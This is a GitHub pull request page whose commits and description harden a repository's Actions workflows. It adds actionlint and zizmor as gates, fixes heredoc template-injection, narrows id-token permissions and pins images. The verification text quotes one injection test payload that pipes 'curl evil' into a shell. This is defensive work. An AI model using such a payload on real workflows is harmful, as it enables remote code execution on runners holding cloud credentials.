Repository navigation
chore(ci): gate workflows on actionlint and zizmor - #1870
Merged
Merged
Conversation
shellcheck, run via actionlint, reports 120 findings across six workflow
files: 106 SC2086 (unquoted $GITHUB_OUTPUT / $GITHUB_STEP_SUMMARY /
$GITHUB_ENV expansions), 12 SC2129 (consecutive redirects to the same
file) and 2 SC2012 (ls parsed for a file count).
Quoting and grouping only. No GitHub Actions expression, output text,
step name or ordering changes; the set of ${{ }} expressions is
byte-identical before and after. The two ls uses become find, which
yields the same count for the missing-directory and no-match cases.
Clears the backlog so the workflow linter added next can gate on a
clean tree instead of landing red.
Three groups, 36 findings at medium severity and above. template-injection (high, 3): the 'Save deployment info' steps in deploy-aws-fargate.yml, deploy-azure.yml and deploy-gcp.yml wrote JSON through an UNQUOTED heredoc, so every interpolated value was pasted into shell source before bash parsed it and $(...) inside the body executed. This is the same shape as the rollback.yml defect: a job output or a terraform output carrying $(...) reaches a job holding id-token write. Each now passes its values through env: and builds the document with jq -n --arg, which escapes rather than evaluates. Key sets and ordering are unchanged per file. excessive-permissions (3 high, 3 medium): id-token write was declared at workflow level in the three deploy workflows, granting it to prepare, test-deployment and summary jobs that never authenticate. It now sits only on the jobs running configure-aws-credentials, azure/login or google-github-actions/auth. deploy-all.yml and ci.yml gain an explicit workflow-level contents: read, and every previously implicit job gains its own block. deploy-all.yml calls four deploy workflows through workflow_call, and a called workflow can never hold more permission than its caller job grants, so all four caller jobs explicitly grant id-token write. Without that the relocation would break every deployment. This half is verified by reading the graph, not by running it: dispatching a deploy workflow was out of scope, so the OIDC path is unproven at runtime. artipacked (medium, 14): actions/checkout persisted the credential into .git/config where later steps and uploaded artifacts could read it. All 14 checkouts set persist-credentials: false. No workflow in this set runs git push, git commit or git fetch against this repo, so nothing depended on the persisted credential.
Nothing in this repo read .github/workflows/ for defects. govulncheck and gosec are Go source scanners, trivy-config targets Terraform, Dockerfile and Kubernetes, and check-yaml only proves the YAML parses. That gap is why two expression injections reaching production cloud credentials (#1542, #1649) passed every CI run on every push. Adds a workflow-lint job to ci.yml and the matching pair of pre-commit hooks, so the same two linters run at the same pinned versions before the push and again in CI. workflow-lint is listed in ci-success needs, which allowlists on success, so the gate blocks rather than warns. Both linters are carried because neither substitutes for the other. Measured against the pre-fix rollback.yml, actionlint exits 1 but every finding is unrelated SC2086 noise; it never flags the injected heredoc, and against a reintroduced #1649 tag interpolation it reports nothing at all. zizmor names both, high severity and high confidence. Pins: actionlint 1.7.12 by image digest and zizmor 1.29.0 by version. Tags are mutable and a linter that changes ruleset on its own schedule turns main red without a change here, which is the hadolint failure in #1695. zizmor runs --offline for the same reason: its online audits query the GitHub API, so findings would move under us. The actionlint image bundles shellcheck. actionlint silently skips every run: block and still exits 0 when shellcheck is absent from PATH, which is how the rollback.yml injection went unflagged, so the job asserts the binary is present rather than trusting the image to keep shipping it. A step also asserts a non-zero workflow file count. Both linters do exit 3 on an empty input set, so this is defence in depth against a path or glob regression that leaves a subset unscanned rather than the only guard against a vacuous pass. --min-severity=medium is a threshold, not a suppression: no baseline file, no per-finding ignore, no only-new-issues, so any new medium or high finding fails. Both motivating bugs score high. The informational and low tier below it is 42 template-injection hits on values #1649 already assessed as non-injectable; clearing it means rewriting the deploy workflows and is left to a follow-up rather than silenced.
Review of the previous commit found that --persona=regular, zizmor's
default, hides three high-severity findings this repo actually has, so
the claim that every medium and high finding fails the job was false.
The persona, not the severity threshold, was discarding them.
Fixed rather than filtered, which is what lets the gate move up:
- aws_sanity.yml and azure_sanity.yml declared id-token: write at
workflow level, the same pattern the previous commit removed from
the three deploy workflows. Both have a single job today so this is
behaviour-preserving, but it stops being so the moment a second job
is added.
- ci.yml ran the integration-test postgres service on the floating
tag postgres:16-alpine. Now pinned by digest, consistent with the
hadolint and actionlint pins and with #1695.
The gate moves to --persona=pedantic in both ci.yml and the pre-commit
hook. auditor is one level further up and is documented as accepting
false positives, so it is not used. Verified the stricter setting still
fails on both motivating bugs: a tree carrying the pre-fix rollback.yml
and a reintroduced #1649 tag interpolation exits 14 and names both.
Also from the review:
- actionlint now runs with no file arguments and discovers
.github/workflows itself. The explicit *.yml glob would have skipped
a .yaml workflow that the file-count step above still counted.
- The file-count comment claimed both linters exit 0 on an empty input
set. They exit 3. The step is defence in depth against a set that
shrinks silently, not the only thing preventing a vacuous pass, and
the comment now says so.
- Three job comments in ci.yml described narrowing the repository
default token, which stopped being true when the previous commit
added a workflow-level permissions block.
The digest pin landed in ci.yml because zizmor's unpinned-images audit reads workflow files, and stopped there. docker-compose.test.yml is what ci.yml's e2e-tests job runs, so the pin closed the integration-tests database path and left the e2e one floating, and nothing gated the difference because no checker looks at compose files. Both now carry the same digest as the ci.yml service container, so local development and both CI database paths run identical PostgreSQL. nginx:alpine and dpage/pgadmin4:9.2 in docker-compose.yml are left on their tags. Both are local-development-only services, neither is reachable from any workflow, and pgadmin is already marked as not for production use. Recorded here rather than pinned silently so the choice is visible.
cristim
added
priority/p1
Contributor
|
No actionable comments were generated in the recent review. 🎉 ℹ️ Recent review info⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (17)
Included review availability: 0 reviews are currently available. Your included PR review attempts over the past 7 days set your current allowance at 1 review per hour. 📝 WalkthroughWalkthroughThe pull request hardens GitHub Actions workflows with explicit permissions, disabled checkout credentials, safer shell output handling, workflow linting, offline security auditing, and digest-pinned PostgreSQL images. ChangesWorkflow hardening
Estimated code review effort: 4 (Complex) | ~45 minutes Merge Risk: ⚪ Minimal · up to The workflow linting and security-gating changes are merge-ready after normal checks and review; no actionable merge-blocking risk remains. Sequence Diagram(s)sequenceDiagram
participant CI
participant actionlint
participant zizmor
participant ci-success
CI->>actionlint: Validate workflow YAML and shell
CI->>zizmor: Audit workflow security
actionlint-->>ci-success: Return lint result
zizmor-->>ci-success: Return audit result
Possibly related issues
Possibly related PRs
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
cristim
added a commit
that referenced
this pull request
Aug 20, 2026
Frontend E2E wedged on Install Chromium and skipped every spec npx playwright install --with-deps chromium wedged five times across two pull requests, each time consuming the job's 10-minute budget until the runner killed it. GitHub records that as cancelled rather than failed, so any check computing green by excluding known failure names reads it as passing, and Run Playwright tests is skipped. The Playwright suite is the only evidence for a class of defect jsdom cannot see, since it does not resolve stylesheets into layout, which is exactly what #1777 and #1776 were. On both pull requests the e2e signal was absent while nothing showed as failed. The separation is unambiguous. Across every run and attempt: 39 successful installs, 36 of them at or under 39 seconds, outliers at 101, 140 and 381. Against that, 5 wedges, none under 585 seconds. A healthy job completes end to end in about 66 seconds. Those wedge figures are lower bounds, not measurements. All five were truncated by the job cap, with preamble plus install a constant 615 to 618 seconds of job wall clock, and the install duration varying inversely with the preamble exactly as truncation predicts. None of them self-terminated, so nothing here establishes how long the wedge would have lasted. The install step now carries its own 8-minute timeout, and the job cap moves to 12 minutes to accommodate it. That distinction is the fix rather than a mitigation: a step busting its own timeout yields failure, while a job busting the job-level one yields cancelled. Confirmed in actions/runner StepsRunner.cs around L322-337, where step-level cancellation with a clear job token sets TaskResult.Failed and job-level cancellation sets TaskResult.Canceled. This is the repository's first step-level timeout, so there was no local precedent and the runner source was the only available proof. A future wedge therefore reports as a failure, attributable to the install rather than swallowing the whole job. Raising the job cap was required rather than cosmetic: 480 plus 78 plus roughly 30 is 588 seconds against the old 600-second cap, leaving 12 seconds of margin. The 78 is per-step maxima measured across all conclusions rather than green runs only, which would understate it at 75. Browsers are also cached, keyed on the Playwright version resolved from package-lock.json, so the common path skips the download entirely rather than repeating it every run. restore-keys is deliberately omitted: a prefix hit would download roughly 150MB that the install immediately deletes and re-downloads, since Playwright garbage-collects browser directories not required by the surviving link on every install. Verified: actionlint 1.7.12 and zizmor 1.29.0 at the pinned CI flags both exit 0, identical to a clean main checkout at every severity, and the Lint Workflows gate added by #1870 passed on this change in CI, matching the local run. Cache keys change when the Playwright version changes, a hit skips the download, and the workflow still parses with Run Playwright tests reachable on every path. Not verified: the upstream wedge cannot be reproduced on demand, so the step timeout's behaviour under a real wedge is established from runner source rather than observed here. Deferred: #1871, Frontend E2E is not a required status check, so a red or absent Playwright run gates nothing. That is the other half of this problem and it interacts with the paths filter, since a pull request touching nothing under frontend/ never reports the context at all. It also carries the __dirlock lock-contention hypothesis, which fits every sample but is not established, with the diagnostic to run on recurrence.
cristim
added a commit
that referenced
this pull request
Sep 27, 2026
Nothing inspected workflow files, so Actions injection was undetectable No actionlint and no zizmor ran anywhere: not in ci.yml, not in .pre-commit-config.yaml. The Security Scanning job runs govulncheck and gosec, both Go source scanners that never open a workflow file; the trivy-config hook targets Terraform, Dockerfile and Kubernetes misconfiguration; check-yaml only proves the YAML parses. That is why #1542 and #1649, both shell injection reaching production cloud credentials, passed every CI run on every push. This is the systemic issue behind #1542, #1647 and #1649. Fixing those removes three bugs; a linter prevents the class. It found three more. Live in the tree at fffd2ea, unreported by anything: template-injection at deploy-aws-fargate.yml:215, deploy-azure.yml:340 and deploy-gcp.yml:204, each an unquoted cat <<EOF heredoc with ${{ }} interpolated into it, the same shape as #1542, in files nobody had swept. The issue predicted "the next one nobody has found yet"; there were three. Values now pass through env: and the JSON is built with jq -n --arg. Also corrected: the issue's baseline table is stale. Six files fail actionlint at that commit, not eight, because rollback.yml and deploy-aws-lambda.yml were fixed in the interim. A Lint Workflows job now runs actionlint and zizmor and fails the build on findings. Both are pinned, actionlint by image digest and zizmor at 1.29.0, because an unpinned linter changes its findings underneath you. The same two run in pre-commit with identical flags, so the feedback arrives before the push rather than after. The job asserts a non-zero workflow count before linting, so "no findings" cannot be reached by scanning nothing, and it asserts shellcheck is present inside the actionlint image, since actionlint silently skips shell analysis without it. Pre-existing findings were fixed rather than suppressed. Three template-injection at High, 16 excessive-permissions at Medium, resolved by explicit permissions: blocks on 13 ci.yml jobs and 3 deploy-all.yml jobs. Zero High findings remain at any persona. The gate runs at --persona=pedantic --min-severity=medium, above which 106 Informational and Low findings are ignored, broken down as 66 template-injection, 25 undocumented-permissions, 13 concurrency-limits and 2 anonymous-definition. No baseline file, no only-new-issues, no blanket ignore. Deliberately left above the gate: 14 secrets-outside-env findings at the Auditor persona, wanting every secret-consuming job bound to a GitHub environment. The deploy workflows already are; the sanity workflows and two others are not. Deferred rather than hidden, so a reader running --persona=auditor knows why it exits 13. Verified that the gate catches the bugs that motivated it: against a scratch tree reintroducing the #1649 shape it exits 14, naming template-injection at reintroduced-1649.yml and 17 findings in rollback.yml, plus excessive-permissions on both. A linter that runs but would not have caught them is theatre. Confirmed in CI that Lint Workflows executed and reported "Linting 16 workflow files" rather than passing on an empty set. Not verified: no deployment was executed. The id-token: write relocation is the highest-risk part and is checked by parsing all 16 workflows and asserting every job invoking configure-aws-credentials, azure/login or google-github-actions/auth still receives it, and that all four deploy-all.yml caller jobs grant it, since a called workflow can never hold more permission than its caller. That passes with zero failures and was confirmed independently, but no OIDC token was minted. If a job is under-privileged, the first real deploy is where it surfaces. The postgres image is pinned by digest in both compose files as well as the workflow, because zizmor's unpinned-images only reads workflow files and docker-compose.test.yml is what the e2e job runs; pinning only where the linter looks would have left that path open. Deferred: #1869 covers Frontend E2E hanging on Install Chromium and being recorded as cancelled rather than failed. #1863 and #1865 cover files over the 500-line ceiling.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Closes #1646
Nothing in this repo read
.github/workflows/for defects.govulncheckandgosecare Go source scanners,trivy-configtargets Terraform/Dockerfile/Kubernetes, andcheck-yamlonly proves the YAML parses. That gap is why two expression injections reaching production cloud credentials (#1542, #1649) passed every CI run on every push.Why both linters, and why actionlint alone would have been theatre
The issue says
actionlintexits 1 against the pre-fixrollback.yml. That is true and it is misleading. Measured against the actual pre-fix file:rollback.ymlactionlint went red for reasons unrelated to the vulnerability, and does not catch the #1649 shape at all.
zizmor'stemplate-injectionaudit names both. Both tools are carried; neither substitutes for the other.Three High-confidence injections were still live
deploy-aws-fargate.yml,deploy-azure.ymlanddeploy-gcp.ymleach wrotedeployment-info.jsonthrough an unquotedcat <<EOFheredoc — the same shape as #1542, in files nobody had swept. Each now routes values throughenv:and builds the document withjq -n --arg. Verified: a payload of$(touch …)"; curl evil|sh; #lands as an escaped JSON string and does not execute.(Also worth noting: the issue's "8 of 16 files" baseline is stale. At the branch point it was 6 —
rollback.ymlanddeploy-aws-lambda.ymlhave since been fixed.)Findings cleared: 159. Suppressed: 0.
ls→find)template-injectionHighexcessive-permissionsHighid-token: writemoved to authenticating jobs only)unpinned-imagesHighexcessive-permissionsMediumpermissions:blocks)artipackedMediumpersist-credentials: false)No baseline file, no
only-new-issues, no config file, no# zizmor: ignoreor# shellcheck disableanywhere in the diff. Masking CI debt is worse than the debt.The shellcheck pass is quoting and grouping only: the set of
${{ }}expressions is byte-identical before and after.Pins
sha256:b1934ee5f1c5…zizmor==1.29.0sha256:cf78e766…Digest rather than tag because a tag is mutable, and a linter that changes ruleset with no change in this repo turns
mainred on its own schedule (#1695). zizmor runs--offlinefor the same reason: its online audits query the GitHub API.The actionlint image bundles shellcheck 0.11.0, which matters — actionlint does not fail when shellcheck is missing from PATH, it silently skips every
run:block and exits 0 (measured:actionlint -shellcheck /nonexistenton a workflow with two real SC2086s prints nothing, exit 0). That silent skip is how #1542 stayed invisible, so the job asserts the binary is present rather than trusting the image to keep shipping it.The postgres pin is applied to
ci.yml,docker-compose.test.ymlanddocker-compose.yml. Pinning onlyci.yml— where zizmor looks — would have closed the integration-tests path and left the e2e path floating, sincedocker-compose.test.ymlis exactly what thee2e-testsjob runs.nginx:alpineanddpage/pgadmin4:9.2are deliberately left on tags: local-development-only services indocker-compose.yml, which no workflow references.Gate settings, and what is deliberately outside them
--persona=pedantic --min-severity=medium, identical inci.ymland the pre-commit hook.The first version of this PR gated at
--persona=regular(zizmor's default). Review caught that this was wrong: the persona, not the severity threshold, was hiding three genuine High findings (workflow-levelid-token: writein both sanity workflows, and the unpinned postgres image). Those are fixed rather than filtered, which is what allows the stricter persona. Worth flagging because it is this issue's own defect class: a gate that looks armed while a filter removes what it exists to catch.--min-severity=mediumis a threshold, not a suppression — no baseline, no per-finding ignore — so any new medium or high finding fails the build.Two tiers sit outside the gate, stated so nobody reads this as stronger or weaker than it is:
template-injectionon values sec(ci): deploy-aws-lambda.yml interpolates a release tag name into a run block in an ungated job holding id-token write #1649 already assessed as non-injectable (github.actor,github.shaand similar), plus 25undocumented-permissions, 13concurrency-limits, 2anonymous-definition. Clearing these means rewriting the deploy workflows.secrets-outside-env(Medium) visible only at--persona=auditor—aws_sanity.yml:21,28,29,54,azure_sanity.yml:26,27,28,53,54,55,60,61,ci.yml:782,rollback.yml:77. The audit wants each secret-consuming job bound to a GitHubenvironment:. The auditor persona is documented as accepting false positives, which is why the gate sits one level below it. If you run--persona=auditoryou will see these; they are deferred on purpose, not missed.Zero High-severity findings remain at any persona.
Verification
rollback.ymlplus a reintroduced sec(ci): deploy-aws-lambda.yml interpolates a release tag name into a run block in an ungated job holding id-token write #1649 tag interpolation, namingtemplate-injectionatreintroduced-1649.yml:17:25. Re-confirmed after the rebase ontoedb353c2e, since a result stops being evidence when the tree under it changes.workflow-lintis inci-success'sneeds:, which allowlists onresult == "success", so a skipped run also fails the gate. It cannot pass by not running.pre-commit run <id> --all-files, at the same pins and flags as CI.What is NOT verified
No deployment was executed. The
id-token: writerelocation is the highest-risk part of this change and none of the four deploy workflows run on a PR, so CI does not exercise them. It is verified by parsing all 16 workflows and asserting that every job invokingconfigure-aws-credentials,azure/loginorgoogle-github-actions/authstill receivesid-token: write, and that all fourdeploy-all.ymlcaller jobs grant it (a called workflow can never hold more permission than its caller job). That check passes with zero failures and was confirmed independently by a second reviewer. But no OIDC token was ever minted. If a job is under-privileged, the first real deploy is where it surfaces.Also unverified at runtime:
jqandpipxpresence on the runner (asserted from GitHub's documented image contents), and theworkflow-lintjob itself, which has never run in Actions — every command was executed locally at the same pinned image and version.Reviewed twice by an independent adversarial reviewer against the six dimensions, to a clean pass.
Summary by CodeRabbit
Security
Reliability
Consistency